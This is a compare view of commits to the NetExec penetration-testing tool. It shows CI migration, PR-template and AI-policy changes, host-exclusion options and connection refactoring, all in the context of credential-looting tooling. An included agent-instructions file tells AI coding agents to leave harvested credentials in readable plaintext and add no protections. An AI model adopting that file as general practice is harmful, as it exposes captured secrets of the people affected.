|
|
6a443a5d3e | ||
|
|
4c6ee6b9da | ||
|
|
5d2b8fd297 | ||
|
|
92f70ca16e | ||
|
|
26ecbf1e2f | ||
|
|
e03d26cc38 | ||
|
|
493381c35a | ||
|
|
4a9c2d58f2 | ||
|
|
33f521c055 | ||
|
|
bb7afbaa84 | ||
|
|
4d9e34398a | ||
|
|
556dfd755c | ||
|
|
c7e2ae46f1 | ||
|
|
ecda28839f | ||
|
|
7b003e1d88 | ||
|
|
c8c69f8757 | ||
|
|
60a571ec0e | ||
|
|
871c70b51b | ||
|
|
ecf6062314 | ||
|
|
77e916997d | ||
|
|
fa1ee4beaf | ||
|
|
03e30c68f7 | ||
|
|
8eebf0a2ba | ||
|
|
4e4a00fb7e | ||
|
|
2204ea8d30 | ||
|
|
7c64f922f6 | ||
|
|
9d65d3c404 | ||
|
|
9f5ba4f6ba | ||
|
|
62ae17dd09 | ||
|
|
11fe13e69c | ||
|
|
02f521e70d | ||
|
|
dc3cd90e53 | ||
|
|
a17137f0d9 | ||
|
|
5f2d34732c | ||
|
|
1b5cd4dabd | ||
|
|
848b7b0eae | ||
|
|
46bfbcf2d8 | ||
|
|
d2640c9c82 | ||
|
|
c7b8e5bb2b | ||
|
|
cbc40f75ea | ||
|
|
36180b3dc1 | ||
|
|
756abe171a | ||
|
|
6d1df54392 | ||
|
|
ce30d4392d | ||
|
|
ca62afcdea | ||
|
|
d1123258e7 | ||
|
|
82dcdd191c | ||
|
|
a869a3fe12 | ||
|
|
8e5a4fb814 | ||
|
|
5a955ddf39 | ||
|
|
170ce533bb | ||
|
|
6228c18433 | ||
|
|
05cc920c80 | ||
|
|
7724e882a0 | ||
|
|
06c0735676 | ||
|
|
b7d0463ea4 | ||
|
|
25b72e1bd2 | ||
|
|
9bff5bbbed | ||
|
|
c169d28bda | ||
|
|
1517597dba | ||
|
|
1fdd259a71 | ||
|
|
475078d196 | ||
|
|
39f3a2836a | ||
|
|
37194c6568 | ||
|
|
ea9b661a0e | ||
|
|
f4967a6837 | ||
|
|
ab88315f1d | ||
|
|
fa2679208b | ||
|
|
aecad76f0b | ||
|
|
a0573a6dd5 | ||
|
|
7999b77165 | ||
|
|
11bb8fb36b | ||
|
|
b951b5c34a | ||
|
|
ce0494038c | ||
|
|
29b4012d7e | ||
|
|
e00d08fb0f | ||
|
|
bc1efe1237 | ||
|
|
b83e345ddc | ||
|
|
d469fc62ff | ||
|
|
1f9f9e3c49 | ||
|
|
e4cb390fee | ||
|
|
08e1b74417 | ||
|
|
1fb8433026 | ||
|
|
a1cadc4d04 | ||
|
|
1f7cdb1490 | ||
|
|
f42be28998 | ||
|
|
65cc6728ca | ||
|
|
faea7379df | ||
|
|
75b207c688 | ||
|
|
2bd69e0aed | ||
|
|
f94b1399a5 | ||
|
|
6bb2d66239 | ||
|
|
8a1fa2fb72 | ||
|
|
429764c592 | ||
|
|
3593ed57ab | ||
|
|
4de7d81e94 | ||
|
|
f55a234cbe | ||
|
|
25166e0c8d | ||
|
|
defda582b1 | ||
|
|
d5ff66b396 | ||
|
|
e7fa3fdbbf | ||
|
|
845f8d9f33 | ||
|
|
44a24f0576 | ||
|
|
83dcd2639e | ||
|
|
0347c13f52 | ||
|
|
2347874213 | ||
|
|
c015d2c643 | ||
|
|
b037969f54 | ||
|
|
90ef481d94 | ||
|
|
087ee8bf5b | ||
|
|
32796c6d1e | ||
|
|
3c4e387045 | ||
|
|
82b1336023 | ||
|
|
92e2b8fc08 | ||
|
|
ffd615e171 | ||
|
|
138f60607d | ||
|
|
627aeff920 | ||
|
|
1e90eadef1 | ||
|
|
9a7a302fd4 | ||
|
|
f61bf5a7d0 | ||
|
|
3dbef634b4 | ||
|
|
65a7389058 | ||
|
|
77b1efe95d | ||
|
|
3d7ae49854 | ||
|
|
ac735513f6 | ||
|
|
d161db28f9 | ||
|
|
1a59962f2a | ||
|
|
c3b7e4a567 | ||
|
|
543a5b3611 | ||
|
|
0e902450b0 | ||
|
|
78902ee3ee | ||
|
|
26465b1b20 | ||
|
|
b3122632f5 | ||
|
|
e57ba1ce91 | ||
|
|
3ac03b68d1 | ||
|
|
6ece24e2f4 | ||
|
|
e873e8fcab | ||
|
|
d41ff46e14 | ||
|
|
011416bd0c | ||
|
|
9a2544b9fb | ||
|
|
2b5b92b21f | ||
|
|
1d24435609 | ||
|
|
1b9c93eb36 | ||
|
|
bac2a95a95 | ||
|
|
0e4a049a92 | ||
|
|
bad31bccb5 | ||
|
|
bd1654baa3 | ||
|
|
282fbe1ee1 | ||
|
|
e820d96833 | ||
|
|
189371aa45 | ||
|
|
d43c1594ef | ||
|
|
99ee883ef0 | ||
|
|
77d2c1c12a | ||
|
|
87c2ad607c | ||
|
|
2b23da5278 | ||
|
|
d8cf226eb1 | ||
|
|
44d2416e13 | ||
|
|
bb7cb1058b | ||
|
|
82ff6b63e7 | ||
|
|
6409e0d684 | ||
|
|
41b3fc2617 | ||
|
|
fa7706b807 | ||
|
|
e065856ec2 | ||
|
|
b77744feb6 | ||
|
|
32e87c807e | ||
|
|
4208a94ea9 | ||
|
|
d818235795 | ||
|
|
156eaf637a | ||
|
|
80d481882c | ||
|
|
f8b44d21b3 | ||
|
|
d06d179d14 | ||
|
|
9af3e37d71 | ||
|
|
8424b49e80 | ||
|
|
b20a7c1644 | ||
|
|
bda56dd968 | ||
|
|
933b97193e | ||
|
|
a9efad3187 | ||
|
|
e1a6f1525e | ||
|
|
1f640e7c80 | ||
|
|
a7ebd5cf35 | ||
|
|
e1dfde2a35 | ||
|
|
83be3161ec | ||
|
|
80d38c1013 | ||
|
|
84b4831dba | ||
|
|
54ab075420 | ||
|
|
4db5e3fc01 | ||
|
|
28343fe03e | ||
|
|
e2dad24e92 | ||
|
|
d4dd0961f5 | ||
|
|
e1860e3da4 | ||
|
|
3d9d231225 | ||
|
|
7df50ab683 | ||
|
|
c0ee685769 | ||
|
|
bbcd292759 | ||
|
|
df1db9595d | ||
|
|
e3b97c6edf | ||
|
|
d0fced5bef | ||
|
|
2129198056 | ||
|
|
8e7bc4ecd9 | ||
|
|
f340ab8ff4 | ||
|
|
fa3ebc1f3c | ||
|
|
ec250afa1e | ||
|
|
aed1cb3e5c | ||
|
|
12c1745a70 | ||
|
|
25f567a097 | ||
|
|
0e08d74e87 | ||
|
|
6bd2de8242 | ||
|
|
8f6d2afec1 | ||
|
|
9e3f4a1919 | ||
|
|
8c8f4300ae | ||
|
|
9f27582b42 | ||
|
|
d9610f1247 | ||
|
|
5761da9332 | ||
|
|
21c0af3f95 | ||
|
|
44ddcdc551 | ||
|
|
beedfe0a97 | ||
|
|
b2827adc71 | ||
|
|
03c2821c11 | ||
|
|
3a90c7f555 | ||
|
|
664055c7c3 | ||
|
|
ac55e28fee | ||
|
|
74c2cd0c89 | ||
|
|
5b1cacf566 | ||
|
|
a2ea6b9db7 | ||
|
|
7c9786d954 | ||
|
|
9b31baa7ff | ||
|
|
376b7e0762 | ||
|
|
2c6e23c4c0 | ||
|
|
04aca03a9f | ||
|
|
3f78320966 | ||
|
|
6bbe239166 | ||
|
|
3bb35503ed | ||
|
|
170efd36e9 | ||
|
|
4440eb86d6 |
No files matched your search
@@ -2,10 +2,16 @@
|
||||
Please include a summary of the change and which issue is fixed, or what the enhancement does.
|
||||
List any dependencies that are required for this change.
|
||||
|
||||
If you have used AI in any form, please state the tool you used (e.g. Claude Code, Cursor, Amp) along with the extent that the work was AI-assisted. See the project's AI policy for more details: https://github.com/Pennyw0rth/NetExec/blob/main/AI_POLICY.md
|
||||
### AI Assistance
|
||||
If you have used AI in any form, please state the tool you used (e.g. Claude Code, Cursor, Amp) along with the extent that the work was AI-assisted.
|
||||
|
||||
Note that if you have used AI, you:
|
||||
- MUST test the changes against a live system
|
||||
- MUST include a screenshot of such a test (e.g. with a before and after screenshot when submitting a bug fix)
|
||||
- MUST fill out this PR template by hand, see the project's AI policy: [AI_POLICY.md](https://github.com/Pennyw0rth/NetExec/blob/main/AI_POLICY.md)
|
||||
|
||||
## Type of change
|
||||
Insert an "x" inside the brackets for relevant items (do not delete options)
|
||||
Insert an "x" inside the brackets for relevant items
|
||||
|
||||
- [ ] Bug fix (non-breaking change which fixes an issue)
|
||||
- [ ] New feature (non-breaking change which adds functionality)
|
||||
@@ -16,7 +22,8 @@ Insert an "x" inside the brackets for relevant items (do not delete options)
|
||||
- [ ] This PR was created with the assistance of AI (list what type of assistance, tool(s)/model(s) in the description)
|
||||
|
||||
## Setup guide for the review
|
||||
Please provide guidance on what setup is needed to test the introduced changes, such as your locally running machine Python version & OS, as well as the target(s) you tested against, including software versions.
|
||||
Please provide guidance on what setup is needed to test the introduced changes, such as the target(s) you tested against or software versions.
|
||||
|
||||
In particular:
|
||||
- Bug Fix: Please provide a short description on how to trigger the bug, to make the bug reproducable for the reviewer.
|
||||
- Added Feature/Enhancement: Please specify what setup is needed in order to test the changes, such as:
|
||||
|
||||
@@ -9,8 +9,8 @@ jobs:
|
||||
runs-on: ${{ matrix.os }}
|
||||
strategy:
|
||||
matrix:
|
||||
os: [ubuntu-latest, macOS-latest, windows-latest]
|
||||
python-version: ["3.13"]
|
||||
os: [ubuntu-latest, macOS-latest, macos-26-intel, windows-latest]
|
||||
python-version: ["3.14"]
|
||||
#python-version: ["3.8", "3.9", "3.10", "3.11"] # for binary builds we only need one version
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
|
||||
@@ -10,7 +10,7 @@ jobs:
|
||||
strategy:
|
||||
matrix:
|
||||
os: [ubuntu-latest, macOS-latest, windows-latest]
|
||||
python-version: ["3.10", "3.11", "3.12", "3.13"]
|
||||
python-version: ["3.11", "3.12", "3.13", "3.14"]
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- name: NetExec set up python on ${{ matrix.os }}
|
||||
|
||||
+10
-14
@@ -14,20 +14,16 @@ jobs:
|
||||
github.event_name == 'push' || github.event.review.state == 'APPROVED' || github.event_name == 'workflow_dispatch'
|
||||
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- name: Install poetry
|
||||
run: |
|
||||
pipx install poetry
|
||||
- name: Set up Python
|
||||
uses: actions/setup-python@v5
|
||||
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
|
||||
- name: Install uv
|
||||
uses: astral-sh/setup-uv@08807647e7069bb48b6ef5acd8ec9567f424441b # v8.1.0
|
||||
with:
|
||||
python-version: 3.13
|
||||
cache: poetry
|
||||
cache-dependency-path: poetry.lock
|
||||
- name: Install dependencies with dev group
|
||||
run: |
|
||||
poetry install --with dev
|
||||
enable-cache: true
|
||||
- name: Set up Python
|
||||
run: uv python install 3.14
|
||||
- name: Install project with dev group
|
||||
run: uv sync --dev
|
||||
- name: Run ruff
|
||||
run: |
|
||||
poetry run ruff --version
|
||||
poetry run ruff check . --preview
|
||||
uv run ruff --version
|
||||
uv run ruff check . --preview
|
||||
@@ -1,9 +1,12 @@
|
||||
name: PR Template Check
|
||||
|
||||
on:
|
||||
pull_request:
|
||||
pull_request_target:
|
||||
types: [opened, edited]
|
||||
|
||||
permissions:
|
||||
pull-requests: write
|
||||
|
||||
jobs:
|
||||
check-template:
|
||||
runs-on: ubuntu-latest
|
||||
|
||||
+19
-28
@@ -14,35 +14,26 @@ jobs:
|
||||
max-parallel: 5
|
||||
matrix:
|
||||
os: [ubuntu-latest]
|
||||
python-version: ["3.10", "3.11", "3.12", "3.13"]
|
||||
python-version: ["3.11", "3.12", "3.13", "3.14"]
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- name: Install poetry
|
||||
run: |
|
||||
pipx install poetry
|
||||
poetry --version
|
||||
poetry env info
|
||||
- name: NetExec set up python ${{ matrix.python-version }} on ${{ matrix.os }}
|
||||
uses: actions/setup-python@v5
|
||||
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
|
||||
- name: Install uv
|
||||
uses: astral-sh/setup-uv@08807647e7069bb48b6ef5acd8ec9567f424441b # v8.1.0
|
||||
with:
|
||||
python-version: ${{ matrix.python-version }}
|
||||
cache: poetry
|
||||
cache-dependency-path: poetry.lock
|
||||
- name: Install with pipx
|
||||
run: |
|
||||
pipx install . --python python${{ matrix.python-version }}
|
||||
- name: Install libraries with dev group
|
||||
run: |
|
||||
poetry install --with dev
|
||||
enable-cache: true
|
||||
- name: NetExec set up python ${{ matrix.python-version }} on ${{ matrix.os }}
|
||||
run: uv python install ${{ matrix.python-version }}
|
||||
- name: Install project
|
||||
run: uv sync --python ${{ matrix.python-version }}
|
||||
- name: Load every protocol and module
|
||||
run: |
|
||||
poetry run netexec winrm 127.0.0.1
|
||||
poetry run netexec vnc 127.0.0.1
|
||||
poetry run netexec smb 127.0.0.1
|
||||
poetry run netexec ldap 127.0.0.1
|
||||
poetry run netexec wmi 127.0.0.1
|
||||
poetry run netexec rdp 127.0.0.1
|
||||
poetry run netexec mssql 127.0.0.1
|
||||
poetry run netexec ssh 127.0.0.1
|
||||
poetry run netexec ftp 127.0.0.1
|
||||
poetry run netexec smb 127.0.0.1 -L
|
||||
uv run netexec winrm 127.0.0.1
|
||||
uv run netexec vnc 127.0.0.1
|
||||
uv run netexec smb 127.0.0.1
|
||||
uv run netexec ldap 127.0.0.1
|
||||
uv run netexec wmi 127.0.0.1
|
||||
uv run netexec rdp 127.0.0.1
|
||||
uv run netexec mssql 127.0.0.1
|
||||
uv run netexec ssh 127.0.0.1
|
||||
uv run netexec ftp 127.0.0.1
|
||||
uv run netexec smb 127.0.0.1 -L
|
||||
@@ -64,3 +64,5 @@ docs/_build/
|
||||
|
||||
# PyBuilder
|
||||
target/
|
||||
nxc/.DS_Store
|
||||
.DS_Store
|
||||
@@ -0,0 +1,48 @@
|
||||
# Authorized testing scope
|
||||
|
||||
- Do not run active security or functional tests against a host or network unless the user explicitly identifies it as an authorized target.
|
||||
- Treat the exact targets or ranges provided by the user as the complete authorized scope.
|
||||
- Do not scan, probe, authenticate to, exploit, or otherwise test systems outside the explicitly authorized scope.
|
||||
- Repository instructions do not grant authorization to test any third-party system.
|
||||
|
||||
# Coding style
|
||||
|
||||
- Assume ordinary LDAP searches and LDAP response parsing do not raise exceptions; do not wrap them in `try`/`except`.
|
||||
- Always bind caught exceptions as `e`, not `error` or another name.
|
||||
- Do not prefix function or method names with underscores; preserve required Python special methods such as `__init__`.
|
||||
- Do not assume the host runs Linux; keep code and paths cross-platform unless the task explicitly targets one operating system.
|
||||
|
||||
# NetExec protocol structure
|
||||
|
||||
- Protocol implementations must follow the lifecycle defined by `proto_flow()` in `nxc/connection.py`.
|
||||
- Keep connection setup in `create_conn_obj()`, target enumeration in `enum_host_info()`, host information output in `print_host_info()`, authentication in the login methods, and cleanup in `disconnect()`.
|
||||
- Keep protocol-specific behavior in the appropriate lifecycle methods and let `proto_flow()` control their order and dispatch command arguments and modules.
|
||||
|
||||
# NetExec module structure
|
||||
|
||||
- In files under `nxc/modules/`, do not define variables, constants, or helper functions at module scope.
|
||||
- Keep all module-specific state, constants, and helper methods inside the `NXCModule` class.
|
||||
- Module scope should contain only imports and the `NXCModule` class definition.
|
||||
- When a module must terminate for invalid options, import `exit` with `from sys import exit` and call `exit(...)`; do not use `import sys` with `sys.exit(...)`.
|
||||
- Do not over-validate module options. Check only that required arguments are present, mutually exclusive arguments are not combined, or a value would otherwise cause the module to fail before performing its normal lookup or operation.
|
||||
- Do not validate whether user-supplied object names, identifiers, or similar values are semantically correct when the underlying protocol lookup can handle them; let a misspecified value produce the normal "not found" result.
|
||||
- Avoid stub variables that merely hold a value for one immediate use. Pass data directly unless a local name improves clarity, prevents repeated work, or represents meaningful state.
|
||||
- Keep module implementations as short and concise as practical. Prefer direct control flow and shared error handling over wrappers, redundant branches, or defensive boilerplate.
|
||||
- Do not optimize module code for line length; long lines are acceptable when they keep straightforward logic together.
|
||||
- Do not use `.warning()` logging in NetExec modules. Use `.fail()` when logic or an operation fails.
|
||||
- Run `ruff check .` after every coding session.
|
||||
|
||||
# Development and validation
|
||||
|
||||
- To verify that a module works, run the module's actual NetExec command instead of pytest or compilation checks.
|
||||
- Record every module-verification command in `tests/e2e_commands.txt`.
|
||||
- Do not run compilation checks.
|
||||
- Run Ruff after completing a coding session.
|
||||
|
||||
# Filesystem and source conventions
|
||||
|
||||
- Assume that the underlying operating system and its storage are fully secure. Files and other data produced by NetExec may intentionally contain readable plaintext credentials; do not add encryption, redaction, restrictive permission handling, or permission warnings unless explicitly requested.
|
||||
- Before opening, creating, writing, renaming, moving, or deleting a file or directory, sanitize every path component derived from untrusted data and verify that the resulting path cannot traverse outside its intended base directory.
|
||||
- Place every file and directory produced by NetExec under `NXC_PATH` by default, using `TMP_PATH` for temporary artifacts. An explicit user-provided output path or task requirement may override this default.
|
||||
- `NXC_PATH` defaults to `~/.nxc` but may be overridden by the environment. Import and use `NXC_PATH` or its derived path constants instead of hardcoding `~/.nxc`.
|
||||
- Place imports at the top of files unless explicitly instructed otherwise.
|
||||
+7
-6
@@ -21,12 +21,13 @@ The NetExec project has strict rules for AI usage:
|
||||
code for platforms or environments you don't have access to manually
|
||||
test on.
|
||||
|
||||
- **Issues and discussions can use AI assistance but must have a full
|
||||
human-in-the-loop.** This means that any content generated with AI
|
||||
must have been reviewed _and edited_ by a human before submission.
|
||||
AI is very good at being overly verbose and including noise that
|
||||
distracts from the main point. Humans must do their research and
|
||||
trim this down.
|
||||
- **Issues and pull requests should be written by humans.**
|
||||
Communication should remain human, not AI, and should be clear and concise.
|
||||
AI is very good at being overly verbose and including noise that distracts
|
||||
from the main point. While it is fine to cite AI or include AI-generated
|
||||
content, the main content of your issue or pull request should be written
|
||||
by a human. Issues or pull requests that look like they are just the
|
||||
result of an AI prompt will likely be rejected and closed.
|
||||
|
||||
- **No AI-generated media is allowed (art, images, videos, audio, etc.).**
|
||||
Text and code are the only acceptable AI-generated content, per the
|
||||
|
||||
@@ -13,7 +13,7 @@ clean:
|
||||
find . -name '.pytest_cache' -exec rm -rf {} +
|
||||
|
||||
tests:
|
||||
flake8 . --count --select=E9,F63,F7,F82 --show-source --statistics --exclude nxc/data/*
|
||||
ruff check .
|
||||
|
||||
requirements:
|
||||
poetry export --without-hashes -f requirements.txt -o requirements.txt
|
||||
|
||||
@@ -65,3 +65,4 @@ Awesome code contributors of NetExec:
|
||||
[](https://github.com/XiaoliChan)
|
||||
[](https://github.com/termanix)
|
||||
[](https://github.com/Dfte)
|
||||
[](https://github.com/azoxlpf)
|
||||
+16
-3
@@ -19,6 +19,7 @@ a = Analysis(
|
||||
'aardwolf.commons.iosettings',
|
||||
'aardwolf.commons.target',
|
||||
'aardwolf.protocol.x224.constants',
|
||||
'certihound',
|
||||
'certipy.commands.find',
|
||||
'certipy.lib.formatting',
|
||||
'certipy.lib.target',
|
||||
@@ -31,11 +32,12 @@ a = Analysis(
|
||||
'impacket.dcerpc.v5.rprn',
|
||||
'impacket.dcerpc.v5.even',
|
||||
'impacket.dcerpc.v5.even6',
|
||||
'impacket.dcerpc.v5.tsts',
|
||||
'impacket.dpapi_ng',
|
||||
'impacket.tds',
|
||||
'impacket.version',
|
||||
'impacket.ldap.ldap',
|
||||
'jwt',
|
||||
'impacket.krb5.kpasswd',
|
||||
'nxc.connection',
|
||||
'nxc.protocols.smb.wmiexec',
|
||||
'nxc.protocols.smb.atexec',
|
||||
@@ -47,9 +49,12 @@ a = Analysis(
|
||||
'nxc.parsers.ldap_results',
|
||||
'nxc.helpers.bash',
|
||||
'nxc.helpers.bloodhound',
|
||||
'nxc.helpers.dpapi',
|
||||
'nxc.helpers.even6_parser',
|
||||
'nxc.helpers.firefox',
|
||||
'nxc.helpers.msada_guids',
|
||||
'nxc.helpers.ntlm_parser',
|
||||
'nxc.helpers.negotiate_parser',
|
||||
'nxc.helpers.smb',
|
||||
'paramiko',
|
||||
'pefile',
|
||||
'pypsrp.client',
|
||||
@@ -80,11 +85,19 @@ a = Analysis(
|
||||
'dploot.triage.wam',
|
||||
'dploot.triage.wifi',
|
||||
'dploot.triage.sccm',
|
||||
'dploot.triage.cng',
|
||||
'dploot.lib.target',
|
||||
'dploot.lib.smb',
|
||||
'dploot.lib.network.mssql',
|
||||
'dploot.lib.network.winrm',
|
||||
'dsinternals.common.cryptography.X509Certificate2',
|
||||
'dsinternals.common.data.DNWithBinary',
|
||||
'dsinternals.common.data.hello.KeyCredential',
|
||||
'dsinternals.system.DateTime',
|
||||
'dsinternals.system.Guid',
|
||||
'lxml.objectify',
|
||||
'pyasn1_modules.rfc5652',
|
||||
'unicrypto.backends.pycryptodomex',
|
||||
'dateutil.relativedelta',
|
||||
'sspilib.raw._text',
|
||||
],
|
||||
hookspath=['./nxc/.hooks'],
|
||||
|
||||
+3
-1
@@ -30,8 +30,10 @@ def gen_cli_args():
|
||||
generic_group = generic_parser.add_argument_group("Generic Options")
|
||||
generic_group.add_argument("--version", action="store_true", help="Display nxc version")
|
||||
generic_group.add_argument("-t", "--threads", type=int, dest="threads", default=256, help="set how many concurrent threads to use")
|
||||
generic_group.add_argument("--timeout", default=None, type=int, help="max timeout in seconds of each thread")
|
||||
generic_group.add_argument("--timeout", default=None, type=int, help="[DEPRECATED] no longer used, replaced by per-protocol timeouts (--smb-timeout, --ldap-timeout, --dcom-timeout)")
|
||||
generic_group.add_argument("--jitter", metavar="INTERVAL", type=str, help="sets a random delay between each authentication")
|
||||
generic_group.add_argument("--exclude-hosts", nargs="+", default=None, metavar="HOST", help="Exclude one or more hosts, IPs, CIDRs or hostnames from the scan")
|
||||
generic_group.add_argument("--skip-self", action="store_true", help="Exclude the local machine from the scan")
|
||||
|
||||
output_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
|
||||
output_group = output_parser.add_argument_group("Output Options")
|
||||
|
||||
@@ -38,6 +38,13 @@ reveal_chars_of_pwd = int(nxc_config.get("nxc", "reveal_chars_of_pwd", fallback=
|
||||
config_log = nxc_config.getboolean("nxc", "log_mode", fallback=False)
|
||||
host_info_colors = literal_eval(nxc_config.get("nxc", "host_info_colors", fallback=["green", "red", "yellow", "cyan"]))
|
||||
check_guest_account = nxc_config.getboolean("nxc", "check_guest_account", fallback=False)
|
||||
display_dc = nxc_config.getboolean("nxc", "display_dc", fallback=True)
|
||||
skip_self = nxc_config.getboolean("nxc", "skip_self", fallback=False)
|
||||
exclude_hosts = literal_eval(nxc_config.get("nxc", "exclude_hosts", fallback=[]))
|
||||
if not isinstance(exclude_hosts, list):
|
||||
nxc_logger.error(f"exclude_hosts must be a 'list', got '{type(exclude_hosts).__name__}'. Exiting.")
|
||||
exit(1)
|
||||
|
||||
|
||||
if len(host_info_colors) != 4:
|
||||
nxc_logger.error("Config option host_info_colors must have 4 values! Using default values.")
|
||||
|
||||
+51
-65
@@ -5,7 +5,7 @@ import sys
|
||||
import contextlib
|
||||
|
||||
from os.path import isfile
|
||||
from threading import BoundedSemaphore
|
||||
from threading import BoundedSemaphore, Lock
|
||||
from functools import wraps
|
||||
from time import sleep
|
||||
from ipaddress import ip_address
|
||||
@@ -14,16 +14,14 @@ from socket import AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME, getaddrinfo
|
||||
|
||||
from nxc.config import pwned_label
|
||||
from nxc.helpers.logger import highlight
|
||||
from nxc.loaders.moduleloader import ModuleLoader
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.loaders.moduleloader import ModuleLoader, ModuleOptionsError
|
||||
from nxc.logger import nxc_logger, NXCAdapter
|
||||
from nxc.context import Context
|
||||
from nxc.paths import NXC_PATH
|
||||
from nxc.protocols.ldap.laps import laps_search
|
||||
from nxc.helpers.pfx import pfx_auth
|
||||
|
||||
from impacket.dcerpc.v5 import transport
|
||||
|
||||
sem = BoundedSemaphore(1)
|
||||
fail_lock = Lock()
|
||||
global_failed_logins = 0
|
||||
user_failed_logins = {}
|
||||
|
||||
@@ -98,37 +96,6 @@ def requires_admin(func):
|
||||
return wraps(func)(_decorator)
|
||||
|
||||
|
||||
def dcom_FirewallChecker(iInterface, remoteHost, timeout):
|
||||
stringBindings = iInterface.get_cinstance().get_string_bindings()
|
||||
for strBinding in stringBindings:
|
||||
if strBinding["wTowerId"] == 7:
|
||||
if strBinding["aNetworkAddr"].find("[") >= 0:
|
||||
binding, _, bindingPort = strBinding["aNetworkAddr"].partition("[")
|
||||
bindingPort = "[" + bindingPort
|
||||
else:
|
||||
binding = strBinding["aNetworkAddr"]
|
||||
bindingPort = ""
|
||||
|
||||
if binding.upper().find(iInterface.get_target().upper()) >= 0:
|
||||
stringBinding = "ncacn_ip_tcp:" + strBinding["aNetworkAddr"][:-1]
|
||||
break
|
||||
elif iInterface.is_fqdn() and binding.upper().find(iInterface.get_target().upper().partition(".")[0]) >= 0:
|
||||
stringBinding = f"ncacn_ip_tcp:{iInterface.get_target()}{bindingPort}"
|
||||
if "stringBinding" not in locals():
|
||||
return True, None
|
||||
try:
|
||||
rpctransport = transport.DCERPCTransportFactory(stringBinding)
|
||||
rpctransport.setRemoteHost(remoteHost)
|
||||
rpctransport.set_connect_timeout(timeout)
|
||||
rpctransport.connect()
|
||||
rpctransport.disconnect()
|
||||
except Exception as e:
|
||||
nxc_logger.debug(f"Exception while connecting to {stringBinding}: {e}")
|
||||
return False, stringBinding
|
||||
else:
|
||||
return True, stringBinding
|
||||
|
||||
|
||||
class connection:
|
||||
def __init__(self, args, db, target):
|
||||
self.args = args
|
||||
@@ -137,19 +104,24 @@ class connection:
|
||||
self.conn = None
|
||||
self.output_file_template = None
|
||||
self.output_filename = None
|
||||
self.protocol = args.protocol
|
||||
|
||||
# Authentication info
|
||||
self.password = ""
|
||||
self.username = ""
|
||||
self.certificate_auth = bool(self.args.pfx_cert or self.args.pfx_base64 or self.args.pem_cert)
|
||||
self.kerberos = bool(self.args.kerberos or
|
||||
self.args.use_kcache or
|
||||
self.args.aesKey or
|
||||
(self.certificate_auth and not (self.protocol == "ldap" and self.args.schannel)) or # PKINIT yields a TGT, while Schannel binds the certificate to the LDAP channel itself
|
||||
(hasattr(self.args, "delegate") and self.args.delegate) or
|
||||
(hasattr(self.args, "generate_st") and self.args.generate_st) or
|
||||
(hasattr(self.args, "no_preauth_targets") and self.args.no_preauth_targets))
|
||||
self.aesKey = None if not self.args.aesKey else self.args.aesKey[0]
|
||||
self.use_kcache = None if not self.args.use_kcache else self.args.use_kcache
|
||||
self.admin_privs = False
|
||||
self.failed_logins = 0
|
||||
self.has_reusable_secret = not (self.protocol == "ldap" and self.args.schannel) # a Schannel bind authenticates the LDAP connection only, leaving no secret for a second channel
|
||||
|
||||
# Network info
|
||||
self.domain = None
|
||||
@@ -171,12 +143,14 @@ class connection:
|
||||
if self.kerberos:
|
||||
self.host = self.hostname
|
||||
|
||||
self.logger.info(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}")
|
||||
self.logger.debug(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}")
|
||||
|
||||
try:
|
||||
self.proto_flow()
|
||||
except FileNotFoundError as e:
|
||||
self.logger.error(f"File not found error on target {target}: {e}")
|
||||
except ConnectionRefusedError as e:
|
||||
self.logger.error(f"Target {target} refused the connection: {e}")
|
||||
except Exception as e:
|
||||
if "ERROR_DEPENDENT_SERVICES_RUNNING" in str(e):
|
||||
self.logger.error(f"Exception while calling proto_flow() on target {target}: {e}")
|
||||
@@ -238,27 +212,26 @@ class connection:
|
||||
self.logger.debug("Kicking off proto_flow")
|
||||
self.proto_logger()
|
||||
if not self.create_conn_obj():
|
||||
self.logger.info(f"Failed to create connection object for target {self.host}, exiting...")
|
||||
self.logger.debug(f"Failed to create connection object for target {self.host}, exiting...")
|
||||
else:
|
||||
self.logger.debug("Created connection object")
|
||||
self.logger.info(f"Successfully created connection object for target '{self.host}'")
|
||||
self.enum_host_info()
|
||||
|
||||
# Construct the output file template using os.path.join for OS compatibility
|
||||
base_log_dir = os.path.join(NXC_PATH, "logs")
|
||||
filename_pattern = f"{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-")
|
||||
filename_pattern = sanitize_path_component(f"{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}", max_bytes=220)
|
||||
self.output_file_template = os.path.join(base_log_dir, "{output_folder}", filename_pattern)
|
||||
# Default output filename for logs
|
||||
self.output_filename = os.path.join(base_log_dir, filename_pattern)
|
||||
|
||||
self.print_host_info()
|
||||
if self.login() or (self.username == "" and self.password == ""):
|
||||
if hasattr(self.args, "module") and self.args.module:
|
||||
if self.login() or (self.username == "" and self.password == "" and self.protocol != "mssql" and not self.certificate_auth): # a failed certificate auth is not a null session
|
||||
self.logger.debug("Calling command arguments")
|
||||
self.call_cmd_args()
|
||||
if self.args.module:
|
||||
self.load_modules()
|
||||
self.logger.debug("Calling modules")
|
||||
self.call_modules()
|
||||
else:
|
||||
self.logger.debug("Calling command arguments")
|
||||
self.call_cmd_args()
|
||||
self.disconnect()
|
||||
|
||||
def call_cmd_args(self):
|
||||
@@ -314,26 +287,28 @@ class connection:
|
||||
def inc_failed_login(self, username):
|
||||
global global_failed_logins, user_failed_logins
|
||||
|
||||
if username not in user_failed_logins:
|
||||
user_failed_logins[username] = 0
|
||||
with fail_lock:
|
||||
if username not in user_failed_logins:
|
||||
user_failed_logins[username] = 0
|
||||
|
||||
user_failed_logins[username] += 1
|
||||
global_failed_logins += 1
|
||||
self.failed_logins += 1
|
||||
user_failed_logins[username] += 1
|
